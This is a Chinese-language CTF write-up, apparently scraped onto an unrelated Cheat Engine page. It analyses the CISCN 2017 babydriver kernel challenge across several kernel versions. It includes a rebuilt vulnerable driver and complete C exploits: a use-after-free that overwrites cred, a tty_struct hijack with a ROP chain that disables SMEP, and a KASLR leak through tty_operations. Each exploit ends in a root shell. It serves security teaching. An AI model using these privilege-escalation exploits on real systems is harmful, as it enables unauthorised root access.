您的位置 首页 > 数码极客

如何用CE打开脚本、如何打开ce修改器! ce如何导入脚本

在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析

0x00.一切开始之前

对于学习过 Kernel pwn 的诸位而言,包括笔者在内的第一道入门题基本上都是 CISCN2017 - babydriver 这一道题,同样地,无论是在 CTF wiki 亦或是其他的 kernel pwn 入门教程当中,这一道题向来都是入门的第一道题(笔者的教程除外)

当然,在笔者看来,这道题当年的解法已然过时,笔者个人认为在当下入门 kernel pwn 最好还是使用我们在用户态下学习的路径——从栈溢出开始再到“堆”

但不可否认的是,时至今日,这一道题仍然具备着相当的的学习价值,仍旧是一道不错的 kernel pwn 入门题,因此笔者今天就来带大家看看——到了2021年,这一道 2017年的“基础的 kernel pwn 入门题”的解法究竟有了些什么变化,又能给我们带来什么样的启发,笔者将借助这篇文章阐述一些 kernel pwn 的利用思路

PRE. babydev.ko 源码复刻

笔者将尝试给出在不同的内核版本下这一道题的解法,因此需要重新编译本题的内核模块,不过笔者在网上未能找到本题的源码,好在题目逻辑并不复杂,笔者选择自己复刻一份

/* * ar * developed by arttnba3 */ #include <linux; #include <linux; #include <linux; #include <linux; #include <linux; #include <linux; #include <linux; #define DEVICE_NAME "babydev" #define CLASS_NAME "a3module" static int major_num; static struct class * module_class = NULL; static struct device * module_device = NULL; static spinlock_t spin; static int __init kernel_module_init(void); static void __exit kernel_module_exit(void); static int a3_module_open(struct inode *, struct file *); static ssize_t a3_module_read(struct file *, char __user *, size_t, loff_t *); static ssize_t a3_module_write(struct file *, const char __user *, size_t, loff_t *); static int a3_module_release(struct inode *, struct file *); static long a3_module_ioctl(struct file *, unsigned int cmd, long unsigned int param); static struct file_operations a3_module_fo = { .owner = THIS_MODULE, .unlocked_ioctl = a3_module_ioctl, .open = a3_module_open, .read = a3_module_read, .write = a3_module_write, .release = a3_module_release, }; static struct { void *device_buf; size_t device_buf_len; }babydev_struct; module_init(kernel_module_init); module_exit(kernel_module_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("arttnba3"); static int __init kernel_module_init(void) { spin_lock_init(&spin); printk(KERN_INFO "[arttnba3_TestModule:] Module loaded. Start to register device...\n"); major_num = register_chrdev(0, DEVICE_NAME, &a3_module_fo); if(major_num < 0) { printk(KERN_INFO "[arttnba3_TestModule:] Failed to register a major number.\n"); return major_num; } printk(KERN_INFO "[arttnba3_TestModule:] Register complete, major number: %d\n", major_num); module_class = class_create(THIS_MODULE, CLASS_NAME); if(IS_ERR(module_class)) { unregister_chrdev(major_num, DEVICE_NAME); printk(KERN_INFO "[arttnba3_TestModule:] Failed to register class device!\n"); return PTR_ERR(module_class); } printk(KERN_INFO "[arttnba3_TestModule:] Class device register complete.\n"); module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME); if(IS_ERR(module_device)) { class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME); printk(KERN_INFO "[arttnba3_TestModule:] Failed to create the device!\n"); return PTR_ERR(module_device); } printk(KERN_INFO "[arttnba3_TestModule:] Module register complete.\n"); return 0; } static void __exit kernel_module_exit(void) { printk(KERN_INFO "[arttnba3_TestModule:] Start to clean up the module.\n"); device_destroy(module_class, MKDEV(major_num, 0)); class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME); printk(KERN_INFO "[arttnba3_TestModule:] Module clean up complete. See you next time.\n"); } static long a3_module_ioctl(struct file * __file, unsigned int cmd, long unsigned int param) { if (cmd == 65537) { kfree); babydev_ = kmalloc(param, GFP_ATOMIC); babydev__len = param; printk(KERN_INFO "alloc done\n"); return 0; } else { printk(KERN_INFO "default arg is %ld\n", param); return -22; } } static int a3_module_open(struct inode * __inode, struct file * __file) { babydev_ = kmalloc(0x40, GFP_ATOMIC); babydev__len = 0x40; printk(KERN_INFO "device open\n"); return 0; } static int a3_module_release(struct inode * __inode, struct file * __file) { kfree); printk(KERN_INFO "device release\n"); return 0; } static ssize_t a3_module_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff) { size_t result; if (!babydev_) return -1LL; result = -2LL; if _len > size) { copy_to_user(user_buf, babydev_, size); result = size; } return result; } static ssize_t a3_module_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff) { size_t result; if (!babydev_ ) return -1LL; result = -2LL; if ( babydev__len > size) { copy_from_user, user_buf, size); result = size; } return result; }

0x01.kernel 4.4.72 —— 最初的babydriver

我们首先来看这道题最初是什么样子的,下面是笔者刚入门时写的 WP

分析

解压,惯例的磁盘镜像 + 内核镜像 + 启动脚本结构

查看boot.sh:

#!/bin/bash qemu-system-x86_64 -initrd core.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s
  • 开启了SMEP保护

解压磁盘镜像看看有没有什么可以利用的东西

$ mkdir core $ cp . ./core $ cd core $ cpio -idv < .

查看其启动脚本init:

#!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/module chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f

其中加载了一个叫做babydriver.ko的驱动,按照惯例这个就是有着漏洞的驱动

惯例的checksec,发现其只开了NX保护,整挺好

拖入IDA进行分析

在驱动被加载时会初始化一个设备节点文件/dev/babydev

在我们使用open()打开设备文件时该驱动会分配一个chunk,该chunk的指针储存于全局变量babydev_struct中

使用ioctl进行通信则可以重新申请内存,改变该chunk的大小

在关闭设备文件时会释放该chunk,但是并未将指针置NULL,存在UAF漏洞

read和write就是简单的读写该chunk,便不贴图了

漏洞利用:Kernel UAF

若是我们的程序打开两次设备babydev,由于其chunk储存在全局变量中,那么我们将会获得指向同一个chunk的两个指针

而在关闭设备后该chunk虽然被释放,但是指针未置0,我们便可以使用另一个文件描述符操作该chunk,即Use After Free漏洞

而通过ioctl我们便可以调整这个chunk的大小,,那么只要我们将该chunk的大小设为一个cred结构体的大小后关闭该设备,之后fork()出新进程,那么内核中该空闲chunk就会被分配给新的进程作为其cred结构体,而我们此时还有另一个文件描述符可以操纵该内核模块中的该chunk,只要修改该cred结构体的 euid 为root便可以完成提权

EXPLOIT

最终的exp如下

#include <; #include <; #include <; #include <uni; #include <; #include <sy; int main(void) { printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); ioctl(fd1, 0x10001, 0xa8); close(fd1); int pid = fork(); if(pid < 0) { printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n"); return -1; } else if(pid == 0) // the child thread { char buf[30] = {0}; write(fd2, buf, 28); if(getuid() == 0) { printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); return 0; } else { printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n"); return -1; } } else // the parent thread { wait(NULL);//waiting for the child } return 0; }

本地测试的话就放进磁盘重新打包后qemu起系统,运行即可获得root shell

0x02.kernel 4.5 —— cred_jar 与 kmalloc-192 分离

现在我们将目光放到 kernel 版本 4.5——离本题最近的一个版本,我们来看 cred_jar 的初始化过程,见 kernel

4.4.72

/* * initialise the credentials stuff */ void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); }

4.5

/* * initialise the credentials stuff */ void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); }

我们可以注意到,在 slab 的创建 flag 中多了 一个 SLAB_ACCOUNT,这意味着 cred_jar 与 kmalloc-192 将不再合并,因此我们无法通过 kmalloc 直接分配到 cred_jar 中的 object,因此我们需要寻找别的方式来提权

这里我们选择通过 tty 设备来完成提权

漏洞利用:Kernel UAF + stack migitation + SMEP bypass + ret2usr

内核符号表可读(白给),我们能够很方便地获得相应内核函数的地址

没有开启 kaslr,所以可以直接从 vmlinux 中提取gadget地址,这里 ROPgadget 和 ropper 半斤八两,建议两个配合着一起用,也可以用 pwntools 的 ELF,个人感觉更加方便

由于开启了 SMEP 保护,无法直接 ret2usr,故我们需要改变 cr4 寄存器的值以 bypass smep

观察到在内核中有着如下的 gadget 可以很方便地改变 cr4 寄存器的值:

接下来考虑如何通过 UAF 劫持程序执行流

tty_operations:tty 设备操作关联函数表

在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations

那么我们不难想到的是我们可以通过 UAF 劫持 /dev/ptmx 这个设备的 tty_struct 结构体与其内部的 tty_operations 函数表,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针

由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与fake tty_operations结构体

内核中没有类似one_gadget一类的东西,因此为了完成ROP我们还需要进行一次栈迁移

使用gdb进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持tty_operaionts结构体到用户态的栈上,并选择任意一条内核gadget作为fake tty函数指针以方便下断点:

我们不难观察到,在我们调用tty_operations->write时,其rax寄存器中存放的便是tty_operations结构体的地址,因此若是我们能够在内核中找到形如mov rsp, rax的gadget,便能够成功地将栈迁移到tty_operations结构体的开头

使用 ROPgadget 我们可以找到一条交换 rsp 与 rax 后还能控制程序执行流的 gadget

那么利用这条gadget我们便可以很好地完成栈迁移的过程,执行我们所构造的ROP链

而tty_operations结构体开头到其write指针间的空间较小,因此我们还需要进行二次栈迁移,这里随便选一条改rax的gadget即可

FINAL EXPLOIT

最终的exploit应当如下:

#include <; #include <; #include <; #include <uni; #include <; #include <sy; #define XCHG_RAX_RSP_RET 0xffffffff8155b280 #define POP_RDI_RET 0xffffffff811bf66d #define POP_RAX_RET 0xffffffff8100ccce #define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004dc0 #define SWAPGS_POP_RBP_RET 0xffffffff81063674 #define IRETQ 0xffffffff8107c1e8 size_t commit_creds = NULL, prepare_kernel_cred = NULL; size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } void getRootPrivilige(void) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); } void getRootShell(void) { if(getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); } int main(void) { printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); saveStatus(); //get the addr FILE* sym_table_fd = fopen("/proc/kallsyms", "r"); if(sym_table_fd < 0) { printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n"); exit(-1); } char buf[0x50], type[0x10]; size_t addr; while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf)) { if(prepare_kernel_cred && commit_creds) break; if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds); continue; } if(!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred); continue; } } size_t rop[0x20], p = 0; rop[p++] = POP_RDI_RET; rop[p++] = 0x6f0; rop[p++] = MOV_CR4_RDI_POP_RBP_RET; rop[p++] = 0; rop[p++] = getRootPrivilige; rop[p++] = SWAPGS_POP_RBP_RET; rop[p++] = 0; rop[p++] = IRETQ; rop[p++] = getRootShell; rop[p++] = user_cs; rop[p++] = user_rflags; rop[p++] = user_sp; rop[p++] = user_ss; size_t fake_op[0x30]; for(int i = 0; i < 0x10; i++) fake_op[i] = XCHG_RAX_RSP_RET; fake_op[0] = POP_RAX_RET; fake_op[1] = rop; int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); ioctl(fd1, 0x10001, 0x2e0); close(fd1); size_t fake_tty[0x20]; int fd3 = open("/dev/ptmx", 2); read(fd2, fake_tty, 0x40); fake_tty[3] = fake_op; write(fd2, fake_tty, 0x40); write(fd3, buf, 0x8); return 0; }

本地打包,运行,成功提权到root

0x03.加大难度(I)——设置kptr_restrict,开启KASLR

作为一道入门级别的题目,这一道题并没有开启 KASLR,同时内核符号表 /proc/kallsyms 可读,内核的一切在我们面前几乎是一览无余,但如果开启了 KASLR 且内核符号表不可读呢?这个时候我们又应该如何进行利用?

在文件系统 init 中添加如下语句:

echo 2 > /proc/sys/kernel/kptr_restrict

在启动脚本的 append 项添加 kaslr

泄露内核基址

在相当的一部分 kernel pwn 题目甚至是真实世界的 cve 的 poc 中,对 tty 设备进行利用向来都是最热门的手法之一,tty 设备对于我们内核攻击者而言是一个十分万能的工具箱——她不仅能帮助我们控制内核执行流,还能够帮助我们泄露内核中的相关地址

ptm_unix98_ops && pty_unix98_ops

由于我们已经获得了一个 tty_struct,故可以直接通过 tty_struct 中的 tty_operations 泄露地址

在 ptmx 被打开时内核通过 alloc_tty_struct() 分配 tty_struct 的内存空间,之后会将 tty_operations 初始化为全局变量 ptm_unix98_ops 或 pty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址

在调试阶段我们可以先关掉 kaslr 开 root 从 /proc/kallsyms 中读取其偏移

开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度,故我们可以通过比对 tty_operations 地址的低三16进制位来判断是 ptm_unix98_ops 还是 pty_unix98_ops

FINAL EXPLOIT

成功泄露内核基址之后,剩下的步骤与前面就没有差别了,最终的 exp 如下:

#include <; #include <; #include <; #include <uni; #include <; #include <sy; #define XCHG_RAX_RSP_RET 0xffffffff8155b280 #define POP_RDI_RET 0xffffffff811bf66d #define POP_RAX_RET 0xffffffff8100ccce #define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004dc0 #define SWAPGS_POP_RBP_RET 0xffffffff81063674 #define IRETQ 0xffffffff8107c1e8 #define PREPARE_KERNEL_CRED 0xffffffff810a15a0 #define COMMIT_CREDS 0xffffffff810a11b0 #define PTY_UNIX98_OPS 0xffffffff81a74700 #define PTM_UNIX98_OPS 0xffffffff81a74820 size_t commit_creds = NULL, prepare_kernel_cred = NULL, kernel_offset = 0, kernel_base = 0xffffffff81000000; size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } void getRootPrivilige(void) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); } void getRootShell(void) { if(getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); } int main(void) { int fd1, fd2, tty_fd; size_t rop[0x100]; size_t tty_data[0x100]; size_t fake_ops[0x100]; size_t tty_ops; printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); saveStatus(); // construct UAF and get a tty_struct fd1 = open("/dev/babydev", 2); fd2 = open("/dev/babydev", 2); ioctl(fd1, 0x10001, 0x2e0); close(fd1); tty_fd = open("/dev/ptmx", 2); // get tty data and calculate the kernel base read(fd2, tty_data, 0x40); tty_ops = *(size_t*)(tty_data + 3); kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS); kernel_base = (void*) ((size_t)kernel_base + kernel_offset); prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset; commit_creds = COMMIT_CREDS + kernel_offset; printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset); printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base); printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred); printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds); // construct rop chain int p = 0; rop[p++] = POP_RDI_RET + kernel_offset; rop[p++] = 0x6f0; rop[p++] = MOV_CR4_RDI_POP_RBP_RET + kernel_offset; rop[p++] = 0; rop[p++] = getRootPrivilige; rop[p++] = SWAPGS_POP_RBP_RET + kernel_offset; rop[p++] = 0; rop[p++] = IRETQ + kernel_offset; rop[p++] = getRootShell; rop[p++] = user_cs; rop[p++] = user_rflags; rop[p++] = user_sp; rop[p++] = user_ss; for(int i = 0; i < 0x10; i++) fake_ops[i] = XCHG_RAX_RSP_RET + kernel_offset; fake_ops[0] = POP_RAX_RET + kernel_offset; fake_ops[1] = rop; tty_data[3] = fake_ops; // hijack tty_struct and tty_operations write(fd2, tty_data, 0x40); // triger write(tty_fd, "arttnba3", 0x8); return 0; }

本地打包,运行,get root

0xFF.What’s mote?

在下篇中笔者将阐述:

  • KPTI bypass 的基本手法
  • seq_operations 与系统调用过程结合利用构造 ROP
  • userfaultfd 与 setattr 的利用
  • ……

本文由墨晚鸢原创发布
转载,请参考转载声明,注明出处:
安全客 - 有思想的安全新媒体

责任编辑: 鲁达

1.内容基于多重复合算法人工智能语言模型创作,旨在以深度学习研究为目的传播信息知识,内容观点与本网站无关,反馈举报请
2.仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证;
3.本站属于非营利性站点无毒无广告,请读者放心使用!

“如何用CE打开脚本,如何打开ce修改器,ce怎么打开脚本,ce如何导入脚本,ce如何加载脚本”边界阅读